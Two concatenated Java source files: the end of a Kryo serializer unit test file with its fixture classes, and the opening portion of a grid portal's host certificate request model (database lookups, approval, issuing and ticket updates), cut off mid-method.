kryo.register(SimpleNoDefaultConstructor.class, new Serializer<SimpleNoDefaultConstructor>() {
public SimpleNoDefaultConstructor read (Kryo kryo, Input input, Class<SimpleNoDefaultConstructor> type) {
return new SimpleNoDefaultConstructor(input.readInt(true));
}
public void write (Kryo kryo, Output output, SimpleNoDefaultConstructor object) {
output.writeInt(object.constructorValue, true);
}
public SimpleNoDefaultConstructor copy (Kryo kryo, SimpleNoDefaultConstructor original) {
return new SimpleNoDefaultConstructor(original.constructorValue);
}
});
SimpleNoDefaultConstructor object1 = new SimpleNoDefaultConstructor(2);
roundTrip(2, 5, object1);
kryo.register(ComplexNoDefaultConstructor.class, new FieldSerializer<ComplexNoDefaultConstructor>(kryo,
ComplexNoDefaultConstructor.class) {
public void write (Kryo kryo, Output output, ComplexNoDefaultConstructor object) {
output.writeString(object.name);
super.write(kryo, output, object);
}
protected ComplexNoDefaultConstructor create (Kryo kryo, Input input, Class type) {
String name = input.readString();
return new ComplexNoDefaultConstructor(name);
}
protected ComplexNoDefaultConstructor createCopy (Kryo kryo, ComplexNoDefaultConstructor original) {
return new ComplexNoDefaultConstructor(original.name);
}
});
ComplexNoDefaultConstructor object2 = new ComplexNoDefaultConstructor("has no zero arg constructor!");
object2.anotherField1 = 1234;
object2.anotherField2 = "abcd";
roundTrip(35, 37, object2);
}
public void testNonNull () {
kryo.register(HasNonNull.class);
HasNonNull nonNullValue = new HasNonNull();
nonNullValue.nonNullText = "moo";
roundTrip(4, 4, nonNullValue);
}
public void testDefaultSerializerAnnotation () {
kryo = new Kryo();
roundTrip(82, 89, new HasDefaultSerializerAnnotation(123));
}
public void testOptionalAnnotation () {
kryo = new Kryo();
roundTrip(72, 72, new HasOptionalAnnotation());
kryo = new Kryo();
kryo.getContext().put("smurf", null);
roundTrip(73, 76, new HasOptionalAnnotation());
}
public void testCyclicGrgaph () throws Exception {
kryo = new Kryo();
kryo.setRegistrationRequired(true);
kryo.register(DefaultTypes.class);
kryo.register(byte[].class);
DefaultTypes test = new DefaultTypes();
test.child = test;
roundTrip(35, 45, test);
}
@SuppressWarnings("synthetic-access")
public void testInstantiatorStrategy () {
kryo.register(HasArgumentConstructor.class);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
HasArgumentConstructor test = new HasArgumentConstructor("cow");
roundTrip(4, 4, test);
kryo.register(HasPrivateConstructor.class);
test = new HasPrivateConstructor();
roundTrip(4, 4, test);
}
public void testGenericTypes () {
kryo = new Kryo();
kryo.setRegistrationRequired(true);
kryo.register(HasGenerics.class);
kryo.register(ArrayList.class);
kryo.register(ArrayList[].class);
kryo.register(HashMap.class);
HasGenerics test = new HasGenerics();
test.list1 = new ArrayList();
test.list1.add(1);
test.list1.add(2);
test.list1.add(3);
test.list1.add(4);
test.list1.add(5);
test.list1.add(6);
test.list1.add(7);
test.list1.add(8);
test.list2 = new ArrayList();
test.list2.add(test.list1);
test.map1 = new HashMap();
test.map1.put("a", test.list1);
test.list3 = new ArrayList();
test.list3.add(null);
test.list4 = new ArrayList();
test.list4.add(null);
test.list5 = new ArrayList();
test.list5.add("one");
test.list5.add("two");
roundTrip(53, 80, test);
ArrayList[] al = new ArrayList[1];
al[0] = new ArrayList(Arrays.asList(new String[] { "A", "B", "S" }));
roundTrip(18, 18, al);
}
public void testRegistration () {
int id = kryo.getNextRegistrationId();
kryo.register(DefaultTypes.class, id);
kryo.register(DefaultTypes.class, id);
kryo.register(new Registration(byte[].class, kryo.getDefaultSerializer(byte[].class), id + 1));
kryo.register(byte[].class, kryo.getDefaultSerializer(byte[].class), id + 1);
kryo.register(HasStringField.class, kryo.getDefaultSerializer(HasStringField.class));
DefaultTypes test = new DefaultTypes();
test.intField = 12;
test.StringField = "meow";
test.CharacterField = 'z';
test.byteArrayField = new byte[] {0, 1, 2, 3, 4};
test.child = new DefaultTypes();
roundTrip(75, 95, test);
}
static public class DefaultTypes {
// Primitives.
public boolean booleanField;
public byte byteField;
public char charField;
public short shortField;
public int intField;
public long longField;
public float floatField;
public double doubleField;
// Primitive wrappers.
public Boolean BooleanField;
public Byte ByteField;
public Character CharacterField;
public Short ShortField;
public Integer IntegerField;
public Long LongField;
public Float FloatField;
public Double DoubleField;
// Other.
public String StringField;
public byte[] byteArrayField;
DefaultTypes child;
HasStringField hasStringField;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
DefaultTypes other = (DefaultTypes)obj;
if (BooleanField == null) {
if (other.BooleanField != null) return false;
} else if (!BooleanField.equals(other.BooleanField)) return false;
if (ByteField == null) {
if (other.ByteField != null) return false;
} else if (!ByteField.equals(other.ByteField)) return false;
if (CharacterField == null) {
if (other.CharacterField != null) return false;
} else if (!CharacterField.equals(other.CharacterField)) return false;
if (DoubleField == null) {
if (other.DoubleField != null) return false;
} else if (!DoubleField.equals(other.DoubleField)) return false;
if (FloatField == null) {
if (other.FloatField != null) return false;
} else if (!FloatField.equals(other.FloatField)) return false;
if (IntegerField == null) {
if (other.IntegerField != null) return false;
} else if (!IntegerField.equals(other.IntegerField)) return false;
if (LongField == null) {
if (other.LongField != null) return false;
} else if (!LongField.equals(other.LongField)) return false;
if (ShortField == null) {
if (other.ShortField != null) return false;
} else if (!ShortField.equals(other.ShortField)) return false;
if (StringField == null) {
if (other.StringField != null) return false;
} else if (!StringField.equals(other.StringField)) return false;
if (booleanField != other.booleanField) return false;
Object list1 = arrayToList(byteArrayField);
Object list2 = arrayToList(other.byteArrayField);
if (list1 != list2) {
if (list1 == null || list2 == null) return false;
if (!list1.equals(list2)) return false;
}
if (child != other.child) {
if (child == null || other.child == null) return false;
if (child != this && !child.equals(other.child)) return false;
}
if (byteField != other.byteField) return false;
if (charField != other.charField) return false;
if (Double.doubleToLongBits(doubleField) != Double.doubleToLongBits(other.doubleField)) return false;
if (Float.floatToIntBits(floatField) != Float.floatToIntBits(other.floatField)) return false;
if (intField != other.intField) return false;
if (longField != other.longField) return false;
if (shortField != other.shortField) return false;
return true;
}
}
static public final class A {
public int value;
public B b;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
A other = (A)obj;
if (b == null) {
if (other.b != null) return false;
} else if (!b.equals(other.b)) return false;
if (value != other.value) return false;
return true;
}
}
static public final class B {
public int value;
public A a;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
B other = (B)obj;
if (a == null) {
if (other.a != null) return false;
} else if (!a.equals(other.a)) return false;
if (value != other.value) return false;
return true;
}
}
static public final class C {
public A a;
public D d;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
C other = (C)obj;
if (a == null) {
if (other.a != null) return false;
} else if (!a.equals(other.a)) return false;
if (d == null) {
if (other.d != null) return false;
} else if (!d.equals(other.d)) return false;
return true;
}
}
static public final class D {
public E e;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
D other = (D)obj;
if (e == null) {
if (other.e != null) return false;
} else if (!e.equals(other.e)) return false;
return true;
}
}
static public final class E {
public F f;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
E other = (E)obj;
if (f == null) {
if (other.f != null) return false;
} else if (!f.equals(other.f)) return false;
return true;
}
}
static public final class F {
public int value;
public final int finalValue = 12;
public A a;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
F other = (F)obj;
if (finalValue != other.finalValue) return false;
if (value != other.value) return false;
return true;
}
}
static public class SimpleNoDefaultConstructor {
int constructorValue;
public SimpleNoDefaultConstructor (int constructorValue) {
this.constructorValue = constructorValue;
}
public int getConstructorValue () {
return constructorValue;
}
public int hashCode () {
final int prime = 31;
int result = 1;
result = prime * result + constructorValue;
return result;
}
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
SimpleNoDefaultConstructor other = (SimpleNoDefaultConstructor)obj;
if (constructorValue != other.constructorValue) return false;
return true;
}
}
static public class ComplexNoDefaultConstructor {
public transient String name;
public int anotherField1;
public String anotherField2;
public ComplexNoDefaultConstructor (String name) {
this.name = name;
}
public int hashCode () {
final int prime = 31;
int result = 1;
result = prime * result + anotherField1;
result = prime * result + ((anotherField2 == null) ? 0 : anotherField2.hashCode());
result = prime * result + ((name == null) ? 0 : name.hashCode());
return result;
}
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
ComplexNoDefaultConstructor other = (ComplexNoDefaultConstructor)obj;
if (anotherField1 != other.anotherField1) return false;
if (anotherField2 == null) {
if (other.anotherField2 != null) return false;
} else if (!anotherField2.equals(other.anotherField2)) return false;
if (name == null) {
if (other.name != null) return false;
} else if (!name.equals(other.name)) return false;
return true;
}
}
static public class HasNonNull {
@NotNull public String nonNullText;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
HasNonNull other = (HasNonNull)obj;
if (nonNullText == null) {
if (other.nonNullText != null) return false;
} else if (!nonNullText.equals(other.nonNullText)) return false;
return true;
}
}
static public class HasStringField {
public String text;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
HasStringField other = (HasStringField)obj;
if (text == null) {
if (other.text != null) return false;
} else if (!text.equals(other.text)) return false;
return true;
}
}
static public class HasOptionalAnnotation {
@Optional("smurf") int moo;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
HasOptionalAnnotation other = (HasOptionalAnnotation)obj;
if (moo != other.moo) return false;
return true;
}
}
@DefaultSerializer(HasDefaultSerializerAnnotationSerializer.class)
static public class HasDefaultSerializerAnnotation {
long time;
public HasDefaultSerializerAnnotation (long time) {
this.time = time;
}
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
HasDefaultSerializerAnnotation other = (HasDefaultSerializerAnnotation)obj;
if (time != other.time) return false;
return true;
}
}
static public class HasDefaultSerializerAnnotationSerializer extends Serializer<HasDefaultSerializerAnnotation> {
public void write (Kryo kryo, Output output, HasDefaultSerializerAnnotation object) {
output.writeLong(object.time, true);
}
public HasDefaultSerializerAnnotation read (Kryo kryo, Input input, Class type) {
return new HasDefaultSerializerAnnotation(input.readLong(true));
}
public HasDefaultSerializerAnnotation copy (Kryo kryo, HasDefaultSerializerAnnotation original) {
return new HasDefaultSerializerAnnotation(original.time);
}
}
static public class HasArgumentConstructor {
public String moo;
public HasArgumentConstructor (String moo) {
this.moo = moo;
}
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
HasArgumentConstructor other = (HasArgumentConstructor)obj;
if (moo == null) {
if (other.moo != null) return false;
} else if (!moo.equals(other.moo)) return false;
return true;
}
}
static public class HasPrivateConstructor extends HasArgumentConstructor {
private HasPrivateConstructor () {
super("cow");
}
}
static public class HasGenerics {
ArrayList<Integer> list1;
List<List<?>> list2 = new ArrayList<List<?>>();
List<?> list3 = new ArrayList();
ArrayList<?> list4 = new ArrayList();
ArrayList<String> list5;
HashMap<String, ArrayList<Integer>> map1;
public boolean equals (Object obj) {
if (this == obj) return true;
if (obj == null) return false;
if (getClass() != obj.getClass()) return false;
HasGenerics other = (HasGenerics)obj;
if (list1 == null) {
if (other.list1 != null) return false;
} else if (!list1.equals(other.list1)) return false;
if (list2 == null) {
if (other.list2 != null) return false;
} else if (!list2.equals(other.list2)) return false;
if (list3 == null) {
if (other.list3 != null) return false;
} else if (!list3.equals(other.list3)) return false;
if (list4 == null) {
if (other.list4 != null) return false;
} else if (!list4.equals(other.list4)) return false;
if (list5 == null) {
if (other.list5 != null) return false;
} else if (!list5.equals(other.list5)) return false;
if (map1 == null) {
if (other.map1 != null) return false;
} else if (!map1.equals(other.map1)) return false;
return true;
}
}
}
|
package edu.iu.grid.oim.model.db;
import java.io.IOException;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.security.cert.Certificate;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.sql.Timestamp;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Calendar;
import java.util.Date;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import javax.security.auth.x500.X500Principal;
import org.bouncycastle.asn1.ASN1ObjectIdentifier;
import org.bouncycastle.asn1.DEROctetString;
import org.bouncycastle.asn1.DERSequence;
import org.bouncycastle.asn1.DERSet;
import org.bouncycastle.asn1.pkcs.Attribute;
import org.bouncycastle.asn1.pkcs.PKCSObjectIdentifiers;
import org.bouncycastle.asn1.x500.RDN;
import org.bouncycastle.asn1.x500.X500Name;
import org.bouncycastle.asn1.x500.style.BCStyle;
import org.bouncycastle.asn1.x509.Extension;
import org.bouncycastle.asn1.x509.Extensions;
import org.bouncycastle.asn1.x509.GeneralName;
import org.bouncycastle.asn1.x509.GeneralNames;
import org.bouncycastle.asn1.x509.SubjectPublicKeyInfo;
import org.bouncycastle.cms.CMSException;
import org.bouncycastle.crypto.params.RSAKeyParameters;
import org.bouncycastle.crypto.util.PublicKeyFactory;
import org.bouncycastle.pkcs.PKCS10CertificationRequest;
import org.bouncycastle.util.encoders.Base64;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringEscapeUtils;
import org.apache.log4j.Logger;
import edu.iu.grid.oim.lib.Authorization;
import edu.iu.grid.oim.lib.Footprints;
import edu.iu.grid.oim.lib.StaticConfig;
import edu.iu.grid.oim.lib.Footprints.FPTicket;
import edu.iu.grid.oim.lib.StringArray;
import edu.iu.grid.oim.model.CertificateRequestStatus;
import edu.iu.grid.oim.model.UserContext;
import edu.iu.grid.oim.model.cert.CertificateManager;
import edu.iu.grid.oim.model.cert.ICertificateSigner.CertificateBase;
import edu.iu.grid.oim.model.cert.ICertificateSigner.CertificateProviderException;
import edu.iu.grid.oim.model.cert.ICertificateSigner.IHostCertificatesCallBack;
import edu.iu.grid.oim.model.db.record.CertificateRequestHostRecord;
import edu.iu.grid.oim.model.db.record.ContactRecord;
import edu.iu.grid.oim.model.db.record.DNRecord;
import edu.iu.grid.oim.model.db.record.GridAdminRecord;
import edu.iu.grid.oim.model.db.record.VORecord;
import edu.iu.grid.oim.model.exceptions.CertificateRequestException;
import edu.iu.grid.oim.view.divrep.form.validator.CNValidator;
public class CertificateRequestHostModel extends CertificateRequestModelBase<CertificateRequestHostRecord> {
static Logger log = Logger.getLogger(CertificateRequestHostModel.class);
public CertificateRequestHostModel(UserContext _context) {
super(_context, "certificate_request_host");
}
//NO-AC
public CertificateRequestHostRecord get(int id) throws SQLException {
CertificateRequestHostRecord rec = null;
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
if (stmt.execute("SELECT * FROM "+table_name+ " WHERE id = " + id)) {
rs = stmt.getResultSet();
if(rs.next()) {
rec = new CertificateRequestHostRecord(rs);
}
}
stmt.close();
conn.close();
return rec;
}
//return requests that I have submitted
public ArrayList<CertificateRequestHostRecord> getISubmitted(Integer id) throws SQLException {
ArrayList<CertificateRequestHostRecord> ret = new ArrayList<CertificateRequestHostRecord>();
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
stmt.execute("SELECT * FROM "+table_name + " WHERE requester_contact_id = " + id);
rs = stmt.getResultSet();
while(rs.next()) {
ret.add(new CertificateRequestHostRecord(rs));
}
stmt.close();
conn.close();
return ret;
}
//return requests that I am GA
public ArrayList<CertificateRequestHostRecord> getIApprove(Integer id) throws SQLException {
ArrayList<CertificateRequestHostRecord> recs = new ArrayList<CertificateRequestHostRecord>();
//list all domains that user is gridadmin of
StringBuffer cond = new StringBuffer();
HashSet<Integer> vos = new HashSet<Integer>();
GridAdminModel model = new GridAdminModel(context);
try {
for(GridAdminRecord grec : model.getGridAdminsByContactID(id)) {
if(cond.length() != 0) {
cond.append(" OR ");
}
cond.append("cns LIKE '%"+StringEscapeUtils.escapeSql(grec.domain)+"</String>%'");
vos.add(grec.vo_id);
}
} catch (SQLException e1) {
log.error("Failed to lookup GridAdmin domains", e1);
}
String vos_list = "";
for(Integer vo : vos) {
if(vos_list.length() != 0) {
vos_list += ",";
}
vos_list += vo;
}
if(cond.length() != 0) {
ResultSet rs = null;
Connection conn = connectOIM();
Statement stmt = conn.createStatement();
System.out.println("Searching SQL: SELECT * FROM "+table_name + " WHERE ("+cond.toString() + ") AND approver_vo_id in ("+vos_list+") AND status in ('REQUESTED','RENEW_REQUESTED','REVOKE_REQUESTED')");
stmt.execute("SELECT * FROM "+table_name + " WHERE ("+cond.toString() + ") AND approver_vo_id in ("+vos_list+") AND status in ('REQUESTED','RENEW_REQUESTED','REVOKE_REQUESTED')");
rs = stmt.getResultSet();
while(rs.next()) {
recs.add(new CertificateRequestHostRecord(rs));
}
stmt.close();
conn.close();
}
return recs;
}
//NO-AC
//issue all requested certs and store it back to DB
//you can monitor request status by checking returned Certificate[]
public void startissue(final CertificateRequestHostRecord rec) throws CertificateRequestException {
// mark the request as "issuing.."
try {
rec.status = CertificateRequestStatus.ISSUING;
context.setComment("Starting to issue certificates.");
super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to update certificate request status for request:" + rec.id);
throw new CertificateRequestException("Failed to update certificate request status");
};
//reconstruct cert array from db
final StringArray csrs = new StringArray(rec.csrs);
final StringArray serial_ids = new StringArray(rec.cert_serial_ids);
final StringArray pkcs7s = new StringArray(rec.cert_pkcs7);
final StringArray certificates = new StringArray(rec.cert_certificate);
final StringArray intermediates = new StringArray(rec.cert_intermediate);
final StringArray statuses = new StringArray(rec.cert_statuses);
final CertificateBase[] certs = new CertificateBase[csrs.length()];
for(int c = 0; c < csrs.length(); ++c) {
certs[c] = new CertificateBase();
certs[c].csr = csrs.get(c);
certs[c].serial = serial_ids.get(c);
certs[c].certificate = certificates.get(c);
certs[c].intermediate = intermediates.get(c);
certs[c].pkcs7 = pkcs7s.get(c);
}
new Thread(new Runnable() {
public void failed(String message, Throwable e) {
log.error(message, e);
rec.status = CertificateRequestStatus.FAILED;
rec.status_note = message + " :: " + e.getMessage();
try {
context.setComment(message + " :: " + e.getMessage());
CertificateRequestHostModel.super.update(get(rec.id), rec);
} catch (SQLException e1) {
log.error("Failed to update request status while processing failed condition :" + message, e1);
}
//update ticket
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
ticket.description = "Failed to issue certificate.\n\n";
ticket.description += message+"\n\n";
ticket.description += e.getMessage()+"\n\n";
ticket.description += "The alert has been sent to GOC alert for further actions on this issue.";
ticket.assignees.add(StaticConfig.conf.getProperty("certrequest.fail.assignee"));
ticket.nextaction = "GOC developer to investigate";
fp.update(ticket, rec.goc_ticket_id);
}
//should we use Quartz instead?
public void run() {
final CertificateManager cm = CertificateManager.Factory(context, rec.approver_vo_id);
try {
//lookup requester contact information
String requester_email = rec.requester_email; //for guest request
if(rec.requester_contact_id != null) {
//for user request
ContactModel cmodel = new ContactModel(context);
ContactRecord requester = cmodel.get(rec.requester_contact_id);
requester_email = requester.primary_email;
}
log.debug("Starting signing process");
cm.signHostCertificates(certs, new IHostCertificatesCallBack() {
//called once all certificates are requested (and approved) - but not yet issued
@Override
public void certificateRequested() {
log.debug("certificateRequested called");
//update certs db contents
try {
for(int c = 0; c < certs.length; ++c) {
CertificateBase cert = certs[c];
serial_ids.set(c, cert.serial); //really just order ID (until the certificate is issued)
statuses.set(c, CertificateRequestStatus.ISSUING);
}
rec.cert_serial_ids = serial_ids.toXML();
rec.cert_statuses = statuses.toXML();
context.setComment("All certificate requests have been sent.");
CertificateRequestHostModel.super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to update certificate update while monitoring issue progress:" + rec.id);
}
}
//called for each certificate issued
@Override
public void certificateSigned(CertificateBase cert, int idx) {
log.info("host cert issued by digicert: serial_id:" + cert.serial);
log.info("pkcs7:" + cert.pkcs7);
//pull some information from the cert for validation purpose
try {
ArrayList<Certificate> chain = CertificateManager.parsePKCS7(cert.pkcs7);
X509Certificate c0 = CertificateManager.getIssuedX509Cert(chain);
cert.notafter = c0.getNotAfter();
cert.notbefore = c0.getNotBefore();
//do a bit of validation
Calendar today = Calendar.getInstance();
if(Math.abs(today.getTimeInMillis() - cert.notbefore.getTime()) > 1000*3600*24) {
log.warn("Host certificate issued for request "+rec.id+"(idx:"+idx+") has cert_notbefore set too distance from current timestamp");
}
long dayrange = (cert.notafter.getTime() - cert.notbefore.getTime()) / (1000*3600*24);
if(dayrange < 350 || dayrange > 450) {
log.warn("Host certificate issued for request "+rec.id+ "(idx:"+idx+") has invalid range of "+dayrange+" days (too far from 395 days)");
}
//make sure dn starts with correct base
X500Principal dn = c0.getSubjectX500Principal();
String apache_dn = CertificateManager.X500Principal_to_ApacheDN(dn);
if(!apache_dn.startsWith(cm.getHostDNBase())) {
log.error("Host certificate issued for request " + rec.id + "(idx:"+idx+") has DN:"+apache_dn+" which doesn't have an expected DN base: "+cm.getHostDNBase());
}
} catch (CertificateException e1) {
log.error("Failed to validate host certificate (pkcs7) issued. ID:" + rec.id+"(idx:"+idx+")", e1);
} catch (CMSException e1) {
log.error("Failed to validate host certificate (pkcs7) issued. ID:" + rec.id+"(idx:"+idx+")", e1);
} catch (IOException e1) {
log.error("Failed to validate host certificate (pkcs7) issued. ID:" + rec.id+"(idx:"+idx+")", e1);
}
//update status note
try {
statuses.set(idx, CertificateRequestStatus.ISSUED);
rec.cert_statuses = statuses.toXML();
rec.status_note = "Certificate idx:"+idx+" has been issued. Serial Number: " + cert.serial;
context.setComment(rec.status_note);
CertificateRequestHostModel.super.update(get(rec.id), rec);
} catch (SQLException e) {
log.error("Failed to update certificate update while monitoring issue progress:" + rec.id);
}
}
}, requester_email);
log.debug("Finishing up issue process");
//update records
int idx = 0;
StringArray cert_certificates = new StringArray(rec.cert_certificate);
StringArray cert_intermediates = new StringArray(rec.cert_intermediate);
StringArray cert_pkcs7s = new StringArray(rec.cert_pkcs7);
StringArray cert_serial_ids = new StringArray(rec.cert_serial_ids);
for(CertificateBase cert : certs) {
cert_certificates.set(idx, cert.certificate);
rec.cert_certificate = cert_certificates.toXML();
cert_intermediates.set(idx, cert.intermediate);
rec.cert_intermediate = cert_intermediates.toXML();
cert_pkcs7s.set(idx, cert.pkcs7);
rec.cert_pkcs7 = cert_pkcs7s.toXML();
cert_serial_ids.set(idx, cert.serial);
rec.cert_serial_ids = cert_serial_ids.toXML();
++idx;
}
//set cert expiriation dates using the first certificate issued (out of many *requests*)
CertificateBase cert = certs[0];
rec.cert_notafter = cert.notafter;
rec.cert_notbefore = cert.notbefore;
//log.debug("Updating status");
//update status
try {
rec.status = CertificateRequestStatus.ISSUED;
context.setComment("All ceritificates has been issued.");
CertificateRequestHostModel.super.update(get(rec.id), rec);
} catch (SQLException e) {
throw new CertificateRequestException("Failed to update status for certificate request: " + rec.id);
}
log.debug("Updating ticket");
//update ticket
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
Authorization auth = context.getAuthorization();
if(auth.isUser()) {
ContactRecord contact = auth.getContact();
ticket.description = contact.name + " has issued certificate. Resolving this ticket.";
} else {
ticket.description = "Someone with IP address: " + context.getRemoteAddr() + " has issued certificate. Resolving this ticket.";
}
//get number of certificate requested for this request
String [] cns = rec.getCNs();
for(String cn : cns) {
ticket.description += "/CN=" + cn + "\n";
}
ticket.status = "Resolved";
//suppressing notification if submitter is GA
ArrayList<ContactRecord> gas = findGridAdmin(rec);
boolean submitter_is_ga = false;
for(ContactRecord ga : gas) {
if(ga.id.equals(rec.requester_contact_id)) {
submitter_is_ga = true;
break;
}
}
if(submitter_is_ga) {
//ticket.mail_suppression_assignees = true;
//ticket.mail_suppression_submitter = true;
//ticket.mail_suppression_ccs = true;
}
fp.update(ticket, rec.goc_ticket_id);
} catch (CertificateProviderException e) {
failed("Failed to sign certificate -- CertificateProviderException ", e);
} catch (SQLException e) {
failed("Failed to sign certificate -- most likely couldn't lookup requester contact info", e);
} catch(Exception e) {
failed("Failed to sign certificate -- unhandled", e);
}
}
}).start();
}
//NO-AC
//return true if success
public void approve(CertificateRequestHostRecord rec) throws CertificateRequestException
{
//get number of certificate requested for this request
String [] cns = rec.getCNs();
int count = cns.length;
//check quota
CertificateQuotaModel quota = new CertificateQuotaModel(context);
if(!quota.canApproveHostCert(count)) {
throw new CertificateRequestException("You will exceed your host certificate quota.");
}
rec.status = CertificateRequestStatus.APPROVED;
try {
//context.setComment("Certificate Approved");
super.update(get(rec.id), rec);
quota.incrementHostCertApproval(count);
} catch (SQLException e) {
log.error("Failed to approve host certificate request: " + rec.id);
throw new CertificateRequestException("Failed to update certificate request record");
}
//find if requester is ga
ArrayList<ContactRecord> gas = findGridAdmin(rec);
boolean submitter_is_ga = false;
for(ContactRecord ga : gas) {
if(ga.id.equals(rec.requester_contact_id)) {
submitter_is_ga = true;
break;
}
}
//update ticket
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
if(submitter_is_ga) {
ticket.description = rec.requester_name + " has approved this host certificate request.\n\n";
ticket.mail_suppression_assignees = false; //Per Von/Alain's request, we will send notification to Alain when request is approved
//ticket.mail_suppression_ccs = true;
//ticket.mail_suppression_submitter = true;
} else {
ticket.description = "Dear " + rec.requester_name + ",\n\n";
ticket.description += "Your host certificate request has been approved. \n\n";
}
for(String cn : cns) {
ticket.description += "/CN=" + cn + "\n";
}
ticket.description += "To retrieve the certificate please visit " + getTicketUrl(rec.id) + " and click on Issue Certificate button.\n\n";
if(StaticConfig.isDebug()) {
ticket.description += "Or if you are using the command-line: osg-cert-retrieve -T -i "+rec.id+"\n\n";
} else {
ticket.description += "Or if you are using the command-line: osg-cert-retrieve -i "+rec.id+"\n\n";
}
ticket.nextaction = "Requester to download certificate";
Calendar nad = Calendar.getInstance();
nad.add(Calendar.DATE, 7);
ticket.nad = nad.getTime();
fp.update(ticket, rec.goc_ticket_id);
}
//NO-AC (for authenticated user)
//return request record if successful, otherwise null
public CertificateRequestHostRecord requestAsUser(
ArrayList<String> csrs,
ContactRecord requester,
String request_comment,
String[] request_ccs,
Integer approver_vo_id) throws CertificateRequestException
{
CertificateRequestHostRecord rec = new CertificateRequestHostRecord();
//Date current = new Date();
rec.requester_contact_id = requester.id;
rec.requester_name = requester.name;
rec.approver_vo_id = approver_vo_id;
rec.requester_email = requester.primary_email;
//rec.requester_phone = requester.primary_phone;
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
ticket.name = requester.name;
ticket.email = requester.primary_email;
ticket.phone = requester.primary_phone;
ticket.title = "Host Certificate Request by " + requester.name + "(OIM user)";
ticket.metadata.put("SUBMITTER_NAME", requester.name);
if(request_ccs != null) {
for(String cc : request_ccs) {
ticket.ccs.add(cc);
}
}
log.debug("submitting request as user");
return request(csrs, rec, ticket, request_comment);
}
//NO-AC (for guest user)
//return request record if successful, otherwise null
public CertificateRequestHostRecord requestAsGuest(
ArrayList<String> csrs,
String requester_name,
String requester_email,
String requester_phone,
String request_comment,
String[] request_ccs,
Integer approver_vo_id) throws CertificateRequestException
{
CertificateRequestHostRecord rec = new CertificateRequestHostRecord();
//Date current = new Date();
rec.approver_vo_id = approver_vo_id;
rec.requester_name = requester_name;
rec.requester_email = requester_email;
Footprints fp = new Footprints(context);
FPTicket ticket = fp.new FPTicket();
ticket.name = requester_name;
ticket.email = requester_email;
ticket.phone = requester_phone;
ticket.title = "Host Certificate Request by " + requester_name + "(Guest)";
ticket.metadata.put("SUBMITTER_NAME", requester_name);
if(request_ccs != null) {
for(String cc : request_ccs) {
ticket.ccs.add(cc);
}
}
return request(csrs, rec, ticket, request_comment);
}
private String getTicketUrl(Integer request_id) {
String base;
//this is not an exactly correct assumption, but it should be good enough
if(StaticConfig.isDebug()) {
base = "https://oim-itb.grid.iu.edu/oim/";
} else {
base = "https://oim.grid.iu.edu/oim/";
}
return base + "certificatehost?id=" + request_id;
}
//NO-AC
//return request record if successful, otherwise null (guest interface)
private CertificateRequestHostRecord request(
ArrayList<String> csrs,
CertificateRequestHostRecord rec,
FPTicket ticket,
String request_comment) throws CertificateRequestException
{
//log.debug("request");
Date current = new Date();
rec.request_time = new Timestamp(current.getTime());
rec.status = CertificateRequestStatus.REQUESTED;
//set all host cert status to REQUESTED
StringArray statuses = new StringArray(csrs.size());
for(int c = 0; c < csrs.size(); ++c) {
statuses.set(c, CertificateRequestStatus.REQUESTED);
}
rec.cert_statuses = statuses.toXML();
if(request_comment != null) {
rec.status_note = request_comment;
context.setComment(request_comment);
}
//store CSRs / CNs to record
StringArray csrs_sa = new StringArray(csrs.size());
StringArray cns_sa = new StringArray(csrs.size());
int idx = 0;
CNValidator cnv = new CNValidator(CNValidator.Type.HOST);
for(String csr_string : csrs) {
log.debug("processing csr: " + csr_string);
String cn;
ArrayList<String> sans;
try {
PKCS10CertificationRequest csr = CertificateManager.parseCSR(csr_string);
cn = CertificateManager.pullCNFromCSR(csr);
sans = CertificateManager.pullSANFromCSR(csr);
//validate CN
//if(!cn.matches("^([-0-9a-zA-Z\\.]*/)?[-0-9a-zA-Z\\.]*$")) { //OSGPKI-255
// throw new CertificateRequestException("CN structure is invalid, or contains invalid characters.");
if(!cnv.isValid(cn)) {
throw new CertificateRequestException("CN specified is invalid: " + cn + " .. " + cnv.getErrorMessage());
}
